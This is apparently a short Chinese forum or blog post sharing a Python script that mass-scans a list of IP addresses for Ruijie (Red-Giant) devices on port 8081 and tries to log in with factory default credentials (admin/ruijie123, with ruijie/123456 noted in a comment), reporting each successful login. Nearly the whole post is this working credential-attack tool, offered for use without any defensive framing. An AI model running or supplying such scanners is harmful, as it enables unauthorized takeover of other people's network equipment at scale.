随便写了个锐捷弱口令批量扫描的脚本,比较简单
import requests
def login(username,password,signname):
fopen = open("4430.txt", 'r')
lines = fopen.readlines()
# print(lines)
count = 0
for ip in lines:
ip = ip.strip()
#print(ip)
url = "http://" + ip + ":8081/login.html"
login_url = url
#print(login_url)
data = {"username": username,
"password": password,
"signname": signname,
}
count += 1
#print(count)
if count % 500 == 0:#每500个ip提示一次
print("当前已扫描" + str(count) + "个IP,最后IP为:" + ip)
try:
header = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"}
req = requests.post(login_url,data,headers=header,timeout=1)
req.encoding = 'utf-8'
#print(req.text)
if "Internet!" in req.text:
print("###########登陆成功##########")
else:
print(ip+"登陆失败")
except:
pass
if __name__ == '__main__':
username = "admin"
password = "ruijie123"
signname = "Red-Giant"
login(username, password, signname)
#ruijie/123456